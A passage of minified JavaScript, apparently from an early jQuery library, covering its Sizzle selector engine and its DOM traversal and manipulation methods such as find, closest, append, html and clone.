n)(j=L[f].exec(e))&&(!m[f]||(j=m[f](j,b,c)))&&(e=e.slice(j.shift().length),k=d.push({part:f,captures:j}));if(!k)break}}return k||Z.error(a),g}function bh(a,b,e){var f=b.dir,g=m++;return a||(a=function(a){return a===e}),b.first?function(b,c){while(b=b[f])if(b.nodeType===1)return a(b,c)&&b}:function(b,e){var h,i=g+"."+d,j=i+"."+c;while(b=b[f])if(b.nodeType===1){if((h=b[q])===j)return b.sizset;if(typeof h=="string"&&h.indexOf(i)===0){if(b.sizset)return b}else{b[q]=j;if(a(b,e))return b.sizset=!0,b;b.sizset=!1}}}}function bi(a,b){return a?function(c,d){var e=b(c,d);return e&&a(e===!0?c:e,d)}:b}function bj(a,b,c){var d,e,f=0;for(;d=a[f];f++)$.relative[d.part]?e=bh(e,$.relative[d.part],b):(d.captures.push(b,c),e=bi(e,$.filter[d.part].apply(null,d.captures)));return e}function bk(a){return function(b,c){var d,e=0;for(;d=a[e];e++)if(d(b,c))return!0;return!1}}var c,d,e,f,g,h=a.document,i=h.documentElement,j="undefined",k=!1,l=!0,m=0,n=[].slice,o=[].push,q=("sizcache"+Math.random()).replace(".",""),r="[\\x20\\t\\r\\n\\f]",s="(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",t=s.replace("w","w#"),u="([*^$|!~]?=)",v="\\["+r+"*("+s+")"+r+"*(?:"+u+r+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+t+")|)|)"+r+"*\\]",w=":("+s+")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|((?:[^,]|\\\\,|(?:,(?=[^\\[]*\\]))|(?:,(?=[^\\(]*\\))))*))\\)|)",x=":(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\)|)(?=[^-]|$)",y=r+"*([\\x20\\t\\r\\n\\f>+~])"+r+"*",z="(?=[^\\x20\\t\\r\\n\\f])(?:\\\\.|"+v+"|"+w.replace(2,7)+"|[^\\\\(),])+",A=new RegExp("^"+r+"+|((?:^|[^\\\\])(?:\\\\.)*)"+r+"+$","g"),B=new RegExp("^"+y),C=new RegExp(z+"?(?="+r+"*,|$)","g"),D=new RegExp("^(?:(?!,)(?:(?:^|,)"+r+"*"+z+")*?|"+r+"*(.*?))(\\)|$)"),E=new RegExp(z.slice(19,-6)+"\\x20\\t\\r\\n\\f>+~])+|"+y,"g"),F=/^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,G=/[\x20\t\r\n\f]*[+~]/,H=/:not\($/,I=/h\d/i,J=/input|select|textarea|button/i,K=/\\(?!\\)/g,L={ID:new RegExp("^#("+s+")"),CLASS:new RegExp("^\\.("+s+")"),NAME:new RegExp("^\\[name=['\"]?("+s+")['\"]?\\]"),TAG:new RegExp("^("+s.replace("[-","[-\\*")+")"),ATTR:new RegExp("^"+v),PSEUDO:new RegExp("^"+w),CHILD:new RegExp("^:(only|nth|last|first)-child(?:\\("+r+"*(even|odd|(([+-]|)(\\d*)n|)"+r+"*(?:([+-]|)"+r+"*(\\d+)|))"+r+"*\\)|)","i"),POS:new RegExp(x,"ig"),needsContext:new RegExp("^"+r+"*[>+~]|"+x,"i")},M={},N=[],O={},P=[],Q=function(a){return a.sizzleFilter=!0,a},R=function(a){return function(b){return b.nodeName.toLowerCase()==="input"&&b.type===a}},S=function(a){return function(b){var c=b.nodeName.toLowerCase();return(c==="input"||c==="button")&&b.type===a}},T=function(a){var b=!1,c=h.createElement("div");try{b=a(c)}catch(d){}return c=null,b},U=T(function(a){a.innerHTML="<select></select>";var b=typeof a.lastChild.getAttribute("multiple");return b!=="boolean"&&b!=="string"}),V=T(function(a){a.id=q+0,a.innerHTML="<a name='"+q+"'></a><div name='"+q+"'></div>",i.insertBefore(a,i.firstChild);var b=h.getElementsByName&&h.getElementsByName(q).length===2+h.getElementsByName(q+0).length;return g=!h.getElementById(q),i.removeChild(a),b}),W=T(function(a){return a.appendChild(h.createComment("")),a.getElementsByTagName("*").length===0}),X=T(function(a){return a.innerHTML="<a href='#'></a>",a.firstChild&&typeof a.firstChild.getAttribute!==j&&a.firstChild.getAttribute("href")==="#"}),Y=T(function(a){return a.innerHTML="<div class='hidden e'></div><div class='hidden'></div>",!a.getElementsByClassName||a.getElementsByClassName("e").length===0?!1:(a.lastChild.className="e",a.getElementsByClassName("e").length!==1)}),Z=function(a,b,c,d){c=c||[],b=b||h;var e,f,g,i,j=b.nodeType;if(j!==1&&j!==9)return[];if(!a||typeof a!="string")return c;g=ba(b);if(!g&&!d)if(e=F.exec(a))if(i=e[1]){if(j===9){f=b.getElementById(i);if(!f||!f.parentNode)return c;if(f.id===i)return c.push(f),c}else if(b.ownerDocument&&(f=b.ownerDocument.getElementById(i))&&bb(b,f)&&f.id===i)return c.push(f),c}else{if(e[2])return o.apply(c,n.call(b.getElementsByTagName(a),0)),c;if((i=e[3])&&Y&&b.getElementsByClassName)return o.apply(c,n.call(b.getElementsByClassName(i),0)),c}return bm(a,b,c,d,g)},$=Z.selectors={cacheLength:50,match:L,order:["ID","TAG"],attrHandle:{},createPseudo:Q,find:{ID:g?function(a,b,c){if(typeof b.getElementById!==j&&!c){var d=b.getElementById(a);return d&&d.parentNode?[d]:[]}}:function(a,c,d){if(typeof c.getElementById!==j&&!d){var e=c.getElementById(a);return e?e.id===a||typeof e.getAttributeNode!==j&&e.getAttributeNode("id").value===a?[e]:b:[]}},TAG:W?function(a,b){if(typeof b.getElementsByTagName!==j)return b.getElementsByTagName(a)}:function(a,b){var c=b.getElementsByTagName(a);if(a==="*"){var d,e=[],f=0;for(;d=c[f];f++)d.nodeType===1&&e.push(d);return e}return c}},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(K,""),a[3]=(a[4]||a[5]||"").replace(K,""),a[2]==="~="&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),a[1]==="nth"?(a[2]||Z.error(a[0]),a[3]=+(a[3]?a[4]+(a[5]||1):2*(a[2]==="even"||a[2]==="odd")),a[4]=+(a[6]+a[7]||a[2]==="odd")):a[2]&&Z.error(a[0]),a},PSEUDO:function(a){var b,c=a[4];return L.CHILD.test(a[0])?null:(c&&(b=D.exec(c))&&b.pop()&&(a[0]=a[0].slice(0,b[0].length-c.length-1),c=b[0].slice(0,-1)),a.splice(2,3,c||a[3]),a)}},filter:{ID:g?function(a){return a=a.replace(K,""),function(b){return b.getAttribute("id")===a}}:function(a){return a=a.replace(K,""),function(b){var c=typeof b.getAttributeNode!==j&&b.getAttributeNode("id");return c&&c.value===a}},TAG:function(a){return a==="*"?function(){return!0}:(a=a.replace(K,"").toLowerCase(),function(b){return b.nodeName&&b.nodeName.toLowerCase()===a})},CLASS:function(a){var b=M[a];return b||(b=M[a]=new RegExp("(^|"+r+")"+a+"("+r+"|$)"),N.push(a),N.length>$.cacheLength&&delete M[N.shift()]),function(a){return b.test(a.className||typeof a.getAttribute!==j&&a.getAttribute("class")||"")}},ATTR:function(a,b,c){return b?function(d){var e=Z.attr(d,a),f=e+"";if(e==null)return b==="!=";switch(b){case"=":return f===c;case"!=":return f!==c;case"^=":return c&&f.indexOf(c)===0;case"*=":return c&&f.indexOf(c)>-1;case"$=":return c&&f.substr(f.length-c.length)===c;case"~=":return(" "+f+" ").indexOf(c)>-1;case"|=":return f===c||f.substr(0,c.length+1)===c+"-"}}:function(b){return Z.attr(b,a)!=null}},CHILD:function(a,b,c,d){if(a==="nth"){var e=m++;return function(a){var b,f,g=0,h=a;if(c===1&&d===0)return!0;b=a.parentNode;if(b&&(b[q]!==e||!a.sizset)){for(h=b.firstChild;h;h=h.nextSibling)if(h.nodeType===1){h.sizset=++g;if(h===a)break}b[q]=e}return f=a.sizset-d,c===0?f===0:f%c===0&&f/c>=0}}return function(b){var c=b;switch(a){case"only":case"first":while(c=c.previousSibling)if(c.nodeType===1)return!1;if(a==="first")return!0;c=b;case"last":while(c=c.nextSibling)if(c.nodeType===1)return!1;return!0}}},PSEUDO:function(a,b,c,d){var e=$.pseudos[a]||$.pseudos[a.toLowerCase()];return e||Z.error("unsupported pseudo: "+a),e.sizzleFilter?e(b,c,d):e}},pseudos:{not:Q(function(a,b,c){var d=bl(a.replace(A,"$1"),b,c);return function(a){return!d(a)}}),enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&!!a.checked||b==="option"&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},parent:function(a){return!$.pseudos.empty(a)},empty:function(a){var b;a=a.firstChild;while(a){if(a.nodeName>"@"||(b=a.nodeType)===3||b===4)return!1;a=a.nextSibling}return!0},contains:Q(function(a){return function(b){return(b.textContent||b.innerText||bc(b)).indexOf(a)>-1}}),has:Q(function(a){return function(b){return Z(a,b).length>0}}),header:function(a){return I.test(a.nodeName)},text:function(a){var b,c;return a.nodeName.toLowerCase()==="input"&&(b=a.type)==="text"&&((c=a.getAttribute("type"))==null||c.toLowerCase()===b)},radio:R("radio"),checkbox:R("checkbox"),file:R("file"),password:R("password"),image:R("image"),submit:S("submit"),reset:S("reset"),button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&a.type==="button"||b==="button"},input:function(a){return J.test(a.nodeName)},focus:function(a){var b=a.ownerDocument;return a===b.activeElement&&(!b.hasFocus||b.hasFocus())&&(!!a.type||!!a.href)},active:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b,c){return c?a.slice(1):[a[0]]},last:function(a,b,c){var d=a.pop();return c?a:[d]},even:function(a,b,c){var d=[],e=c?1:0,f=a.length;for(;e<f;e=e+2)d.push(a[e]);return d},odd:function(a,b,c){var d=[],e=c?0:1,f=a.length;for(;e<f;e=e+2)d.push(a[e]);return d},lt:function(a,b,c){return c?a.slice(+b):a.slice(0,+b)},gt:function(a,b,c){return c?a.slice(0,+b+1):a.slice(+b+1)},eq:function(a,b,c){var d=a.splice(+b,1);return c?a:d}}};$.setFilters.nth=$.setFilters.eq,$.filters=$.pseudos,X||($.attrHandle={href:function(a){return a.getAttribute("href",2)},type:function(a){return a.getAttribute("type")}}),V&&($.order.push("NAME"),$.find.NAME=function(a,b){if(typeof b.getElementsByName!==j)return b.getElementsByName(a)}),Y&&($.order.splice(1,0,"CLASS"),$.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!==j&&!c)return b.getElementsByClassName(a)});try{n.call(i.childNodes,0)[0].nodeType}catch(_){n=function(a){var b,c=[];for(;b=this[a];a++)c.push(b);return c}}var ba=Z.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?b.nodeName!=="HTML":!1},bb=Z.contains=i.compareDocumentPosition?function(a,b){return!!(a.compareDocumentPosition(b)&16)}:i.contains?function(a,b){var c=a.nodeType===9?a.documentElement:a,d=b.parentNode;return a===d||!!(d&&d.nodeType===1&&c.contains&&c.contains(d))}:function(a,b){while(b=b.parentNode)if(b===a)return!0;return!1},bc=Z.getText=function(a){var b,c="",d=0,e=a.nodeType;if(e){if(e===1||e===9||e===11){if(typeof a.textContent=="string")return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=bc(a)}else if(e===3||e===4)return a.nodeValue}else for(;b=a[d];d++)c+=bc(b);return c};Z.attr=function(a,b){var c,d=ba(a);return d||(b=b.toLowerCase()),$.attrHandle[b]?$.attrHandle[b](a):U||d?a.getAttribute(b):(c=a.getAttributeNode(b),c?typeof a[b]=="boolean"?a[b]?b:null:c.specified?c.value:null:null)},Z.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},[0,0].sort(function(){return l=0}),i.compareDocumentPosition?e=function(a,b){return a===b?(k=!0,0):(!a.compareDocumentPosition||!b.compareDocumentPosition?a.compareDocumentPosition:a.compareDocumentPosition(b)&4)?-1:1}:(e=function(a,b){if(a===b)return k=!0,0;if(a.sourceIndex&&b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],g=[],h=a.parentNode,i=b.parentNode,j=h;if(h===i)return f(a,b);if(!h)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)g.unshift(j),j=j.parentNode;c=e.length,d=g.length;for(var l=0;l<c&&l<d;l++)if(e[l]!==g[l])return f(e[l],g[l]);return l===c?f(a,g[l],-1):f(e[l],b,1)},f=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),Z.uniqueSort=function(a){var b,c=1;if(e){k=l,a.sort(e);if(k)for(;b=a[c];c++)b===a[c-1]&&a.splice(c--,1)}return a};var bl=Z.compile=function(a,b,c){var d,e,f,g=O[a];if(g&&g.context===b)return g;e=bg(a,b,c);for(f=0;d=e[f];f++)e[f]=bj(d,b,c);return g=O[a]=bk(e),g.context=b,g.runs=g.dirruns=0,P.push(a),P.length>$.cacheLength&&delete O[P.shift()],g};Z.matches=function(a,b){return Z(a,null,null,b)},Z.matchesSelector=function(a,b){return Z(b,null,null,[a]).length>0};var bm=function(a,b,e,f,g){a=a.replace(A,"$1");var h,i,j,k,l,m,p,q,r,s=a.match(C),t=a.match(E),u=b.nodeType;if(L.POS.test(a))return bf(a,b,e,f,s);if(f)h=n.call(f,0);else if(s&&s.length===1){if(t.length>1&&u===9&&!g&&(s=L.ID.exec(t[0]))){b=$.find.ID(s[1],b,g)[0];if(!b)return e;a=a.slice(t.shift().length)}q=(s=G.exec(t[0]))&&!s.index&&b.parentNode||b,r=t.pop(),m=r.split(":not")[0];for(j=0,k=$.order.length;j<k;j++){p=$.order[j];if(s=L[p].exec(m)){h=$.find[p]((s[1]||"").replace(K,""),q,g);if(h==null)continue;m===r&&(a=a.slice(0,a.length-r.length)+m.replace(L[p],""),a||o.apply(e,n.call(h,0)));break}}}if(a){i=bl(a,b,g),d=i.dirruns++,h==null&&(h=$.find.TAG("*",G.test(a)&&b.parentNode||b));for(j=0;l=h[j];j++)c=i.runs++,i(l,b)&&e.push(l)}return e};h.querySelectorAll&&function(){var a,b=bm,c=/'|\\/g,d=/\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,e=[],f=[":active"],g=i.matchesSelector||i.mozMatchesSelector||i.webkitMatchesSelector||i.oMatchesSelector||i.msMatchesSelector;T(function(a){a.innerHTML="<select><option selected></option></select>",a.querySelectorAll("[selected]").length||e.push("\\["+r+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),a.querySelectorAll(":checked").length||e.push(":checked")}),T(function(a){a.innerHTML="<p test=''></p>",a.querySelectorAll("[test^='']").length&&e.push("[*^$]="+r+"*(?:\"\"|'')"),a.innerHTML="<input type='hidden'>",a.querySelectorAll(":enabled").length||e.push(":enabled",":disabled")}),e=e.length&&new RegExp(e.join("|")),bm=function(a,d,f,g,h){if(!g&&!h&&(!e||!e.test(a)))if(d.nodeType===9)try{return o.apply(f,n.call(d.querySelectorAll(a),0)),f}catch(i){}else if(d.nodeType===1&&d.nodeName.toLowerCase()!=="object"){var j=d.getAttribute("id"),k=j||q,l=G.test(a)&&d.parentNode||d;j?k=k.replace(c,"\\$&"):d.setAttribute("id",k);try{return o.apply(f,n.call(l.querySelectorAll(a.replace(C,"[id='"+k+"'] $&")),0)),f}catch(i){}finally{j||d.removeAttribute("id")}}return b(a,d,f,g,h)},g&&(T(function(b){a=g.call(b,"div");try{g.call(b,"[test!='']:sizzle"),f.push($.match.PSEUDO)}catch(c){}}),f=new RegExp(f.join("|")),Z.matchesSelector=function(b,c){c=c.replace(d,"='$1']");if(!ba(b)&&!f.test(c)&&(!e||!e.test(c)))try{var h=g.call(b,c);if(h||a||b.document&&b.document.nodeType!==11)return h}catch(i){}return Z(c,null,null,[b]).length>0})}(),Z.attr=p.attr,p.find=Z,p.expr=Z.selectors,p.expr[":"]=p.expr.pseudos,p.unique=Z.uniqueSort,p.text=Z.getText,p.isXMLDoc=Z.isXML,p.contains=Z.contains}(a);var bc=/Until$/,bd=/^(?:parents|prev(?:Until|All))/,be=/^.[^:#\[\.,]*$/,bf=p.expr.match.needsContext,bg={children:!0,contents:!0,next:!0,prev:!0};p.fn.extend({find:function(a){var b,c,d,e,f,g,h=this;if(typeof a!="string")return p(a).filter(function(){for(b=0,c=h.length;b<c;b++)if(p.contains(h[b],this))return!0});g=this.pushStack("","find",a);for(b=0,c=this.length;b<c;b++){d=g.length,p.find(a,this[b],g);if(b>0)for(e=d;e<g.length;e++)for(f=0;f<d;f++)if(g[f]===g[e]){g.splice(e--,1);break}}return g},has:function(a){var b,c=p(a,this),d=c.length;return this.filter(function(){for(b=0;b<d;b++)if(p.contains(this,c[b]))return!0})},not:function(a){return this.pushStack(bj(this,a,!1),"not",a)},filter:function(a){return this.pushStack(bj(this,a,!0),"filter",a)},is:function(a){return!!a&&(typeof a=="string"?bf.test(a)?p(a,this.context).index(this[0])>=0:p.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c,d=0,e=this.length,f=[],g=bf.test(a)||typeof a!="string"?p(a,b||this.context):0;for(;d<e;d++){c=this[d];while(c&&c.ownerDocument&&c!==b&&c.nodeType!==11){if(g?g.index(c)>-1:p.find.matchesSelector(c,a)){f.push(c);break}c=c.parentNode}}return f=f.length>1?p.unique(f):f,this.pushStack(f,"closest",a)},index:function(a){return a?typeof a=="string"?p.inArray(this[0],p(a)):p.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(a,b){var c=typeof a=="string"?p(a,b):p.makeArray(a&&a.nodeType?[a]:a),d=p.merge(this.get(),c);return this.pushStack(bh(c[0])||bh(d[0])?d:p.unique(d))},addBack:function(a){return this.add(a==null?this.prevObject:this.prevObject.filter(a))}}),p.fn.andSelf=p.fn.addBack,p.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return p.dir(a,"parentNode")},parentsUntil:function(a,b,c){return p.dir(a,"parentNode",c)},next:function(a){return bi(a,"nextSibling")},prev:function(a){return bi(a,"previousSibling")},nextAll:function(a){return p.dir(a,"nextSibling")},prevAll:function(a){return p.dir(a,"previousSibling")},nextUntil:function(a,b,c){return p.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return p.dir(a,"previousSibling",c)},siblings:function(a){return p.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return p.sibling(a.firstChild)},contents:function(a){return p.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:p.merge([],a.childNodes)}},function(a,b){p.fn[a]=function(c,d){var e=p.map(this,b,c);return bc.test(a)||(d=c),d&&typeof d=="string"&&(e=p.filter(d,e)),e=this.length>1&&!bg[a]?p.unique(e):e,this.length>1&&bd.test(a)&&(e=e.reverse()),this.pushStack(e,a,k.call(arguments).join(","))}}),p.extend({filter:function(a,b,c){return c&&(a=":not("+a+")"),b.length===1?p.find.matchesSelector(b[0],a)?[b[0]]:[]:p.find.matches(a,b)},dir:function(a,c,d){var e=[],f=a[c];while(f&&f.nodeType!==9&&(d===b||f.nodeType!==1||!p(f).is(d)))f.nodeType===1&&e.push(f),f=f[c];return e},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var bl="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",bm=/ jQuery\d+="(?:null|\d+)"/g,bn=/^\s+/,bo=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,bp=/<([\w:]+)/,bq=/<tbody/i,br=/<|&#?\w+;/,bs=/<(?:script|style|link)/i,bt=/<(?:script|object|embed|option|style)/i,bu=new RegExp("<(?:"+bl+")[\\s/>]","i"),bv=/^(?:checkbox|radio)$/,bw=/checked\s*(?:[^=]|=\s*.checked.)/i,bx=/\/(java|ecma)script/i,by=/^\s*<!(?:\[CDATA\[|\-\-)|[\]\-]{2}>\s*$/g,bz={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},bA=bk(e),bB=bA.appendChild(e.createElement("div"));bz.optgroup=bz.option,bz.tbody=bz.tfoot=bz.colgroup=bz.caption=bz.thead,bz.th=bz.td,p.support.htmlSerialize||(bz._default=[1,"X<div>","</div>"]),p.fn.extend({text:function(a){return p.access(this,function(a){return a===b?p.text(this):this.empty().append((this[0]&&this[0].ownerDocument||e).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(p.isFunction(a))return this.each(function(b){p(this).wrapAll(a.call(this,b))});if(this[0]){var b=p(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return p.isFunction(a)?this.each(function(b){p(this).wrapInner(a.call(this,b))}):this.each(function(){var b=p(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=p.isFunction(a);return this.each(function(c){p(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){p.nodeName(this,"body")||p(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){(this.nodeType===1||this.nodeType===11)&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){(this.nodeType===1||this.nodeType===11)&&this.insertBefore(a,this.firstChild)})},before:function(){if(!bh(this[0]))return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=p.clean(arguments);return this.pushStack(p.merge(a,this),"before",this.selector)}},after:function(){if(!bh(this[0]))return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=p.clean(arguments);return this.pushStack(p.merge(this,a),"after",this.selector)}},remove:function(a,b){var c,d=0;for(;(c=this[d])!=null;d++)if(!a||p.filter(a,[c]).length)!b&&c.nodeType===1&&(p.cleanData(c.getElementsByTagName("*")),p.cleanData([c])),c.parentNode&&c.parentNode.removeChild(c);return this},empty:function(){var a,b=0;for(;(a=this[b])!=null;b++){a.nodeType===1&&p.cleanData(a.getElementsByTagName("*"));while(a.firstChild)a.removeChild(a.firstChild)}return this},clone:function(a,b){return a=a==null?!1:a,b=b==null?a:b,this.map(function(){return p.clone(this,a,b)})},html:function(a){return p.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(bm,""):b;if(typeof a=="string"&&!bs.test(a)&&(p.support.htmlSerialize||!bu.test(a))&&(p.support.leadingWhitespace||!bn.test(a))&&!bz[(bp.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(bo,"<$1></$2>");try{for(;d<e;d++)c=this[d]||{},c.nodeType===1&&(p.cleanData(c.getElementsByTagName("*")),c.innerHTML=a);c=0}catch(f){}}c&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(a){return bh(this[0])?this.length?this.pushStack(p(p.isFunction(a)?a():a),"replaceWith",a):this:p.isFunction(a)?this.each(function(b){var c=p(this),d=c.html();c.replaceWith(a.call(this,b,d))}):(typeof a!="string"&&(a=p(a).detach()),this.each(function(){var b=this.nextSibling,c=this.parentNode;p(this).remove(),b?p(b).before(a):p(c).append(a)}))},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){a=[].concat.apply([],a);var e,f,g,h,i=0,j=a[0],k=[],l=this.length;if(!p.support.checkClone&&l>1&&typeof j=="string"&&bw.test(j))return this.each(function(){p(this).domManip(a,c,d)});if(p.isFunction(j))return this.each(function(e){var f=p(this);a[0]=j.call(this,e,c?f.html():b),f.domManip(a,c,d)});if(this[0]){e=p.buildFragment(a,this,k),g=e.fragment,f=g.firstChild,g.childNodes.length===1&&(g=f);if(f){c=c&&p.nodeName(f,"tr");for(h=e.cacheable||l-1;i<l;i++)d.call(c&&p.nodeName(this[i],"table")?bC(this[i],"tbody"):this[i],i===h?g:p.clone(g,!0,!0))}g=f=null,k.length&&p.each(k,function(a,b){b.src?p.ajax?p.ajax({url:b.src,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0}):p.error("no ajax"):p.globalEval((b.text||b.textContent||b.innerHTML||"").replace(by,"")),b.parentNode&&b.parentNode.removeChild(b)})}return this}}),p.buildFragment=function(a,c,d){var f,g,h,i=a[0];return c=c||e,c=(c[0]||c).ownerDocument||c[0]||c,typeof c.createDocumentFragment=="undefined"&&(c=e),a.length===1&&typeof i=="string"&&i.length<512&&c===e&&i.charAt(0)==="<"&&!bt.test(i)&&(p.support.checkClone||!bw.test(i))&&(p.support.html5Clone||!bu.test(i))&&(g=!0,f=p.fragments[i],h=f!==b),f||(f=c.createDocumentFragment(),p.clean(a,c,f,d),g&&(p.fragments[i]=h&&f)),{fragment:f,cacheable:g}},p.fragments={},p.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){p.fn[a]=function(c){var d,e=0,f=[],g=p(c),h=g.length,i=this.length===1&&this[0].parentNode;if((i==null||i&&i.nodeType===11&&i.childNodes.length===1)&&h===1)return g[b](this[0]),this;for(;e<h;e++)d=(e>0?this.clone(!0):this).get(),p(g[e])[b](d),f=f.concat(d);return this.pushStack(f,a,g.selector)}}),p.extend({clone:function(a,b,c){var d,e,f,g;p.support.html5Clone||p.isXMLDoc(a)||!bu.test("<"+a.nodeName+">")?g=a.cloneNode(!0):(bB.innerHTML=a.outerHTML,bB.removeChild(g=bB.firstChild));if((!p.support.noCloneEvent||!p.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!p.isXMLDoc(a)){bE(a,g),d=bF(a),e=bF(g);for(f=0;d[f];++f)e[f]&&bE(d[f],e[f])}if(b){bD(a,g);if(c){d=bF(a),e=bF(g);for(f=0;d[f];++f)bD(d[f],e[f])}}return d=e=null,g},clean:function(a,b,c,d){var f,g,h,i,j,k,l,m,n,o,q,r,s=0,t=[];if(!b||typeof b.createDocumentFragment=="undefined")b=e;for(g=b===e&&bA;(h=a[s])!=null;s++){typeof h=="number"&&(h+="");if(!h)continue;if(typeof h=="string")if(!br.test(h))h=b.createTextNode(h);else{g=g||bk(b),l=l||g.appendChild(b.createElement("div")),h=h.replace(bo,"<$1></$2>"),i=(bp.exec(h)||["",""])[1].toLowerCase(),j=bz[i]||bz._default,k=j[0],l.innerHTML=j[1]+h+j[2];while(k--)l=l.lastChild;if(!p.support.tbody){m=bq.test(h),n=i==="table"&&!m?l.firstChild&&l.firstChild.childNodes:j[1]==="<table>"&&!m?l.childNodes:[];for(f=n.length-1;f>=0;--f)p.nodeName(n[f],"tbody")&&!n[f].childNodes.length&&n[f].parentNode.removeChild(n[f])}!p.support.leadingWhitespace&&bn.test(h)&&l.insertBefore(b.createTextNode(bn.exec(h)[0]),l.firstChild),h=l.childNodes,l=g.lastChild}h.nodeType?t.push(h):t=p.merge(t,h)}l&&(g.removeChild(l),h=l=g=null);if(!p.support.appendChecked)for(s=0;(h=t[s])!=null;s++)p.nodeName(h,"input")?bG(h):typeof h.getElementsByTagName!="undefined"&&p.grep(h.getElementsByTagName("input"),bG);if(c){q=function(a){if(!a.type||bx.test(a.type))return d?d.push(a.parentNode?a.parentNode.removeChild(a):a):c.appendChild(a)};for(s=0;(h=t[s])!=null;s++)if(!p.nodeName(h,"script")||!q(h))c.appendChild(h),typeof h.getElementsByTagName!="undefined"&&(r=p.grep(p.merge([],h.getElementsByTagName("script")),q),t.splice.apply(t,[s+1,0].concat(r)),s+=r.length)}return t},cleanData:function(a,b){var c,d,e,f,g=0,h=p.expando,i=p.cache,j=p.support.deleteExpando,k=p.event.special;for(;(e=a[g])!=null;g++)if(b||p.acceptData(e)){d=e[h],c=d&&i[d];if(c){if(c.events)for(f in c.events)k[f]?p.event.remove(e,f):p.removeEvent(e,f,c.handle);i[d]&&(delete i[d],j?delete e[h]:e.removeAttribute?e.removeAttribute(h):e[h]=null,p.deletedIds.push(d))}}}}),function(){var a,b;p.uaMatch=function(a){a=a.toLowerCase();var b=/(chrome)[ \/]([\w.]+)/.exec(a)||/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||a.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},a=p.uaMatch(g.userAgent),b={},a.browser&&(b[a.browser]=!0,b.version=a.version),b.webkit&&(b.safari=!0),p.browser=b,p.sub=function(){function a(b,c){return new a.fn.init(b,c)}p.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function c(c,d){return d&&d instanceof p&&!(d instanceof a)&&(d=a(d)),p.fn.init.call(this,c,d,b)},a.fn.init.prototype=a.fn;var b=a(e);return a}}();var bH,bI,bJ,bK=/alpha\([^)]*\)/i,bL=/opacity=([^)]*)/,bM=/^(top|right|bottom|left)$/,bN=/^margin/,bO=new RegExp("^("+q+")(.*)$","i"),bP=new RegExp("^("+q+")(?!px)[a-z%]+$","i"),bQ=new 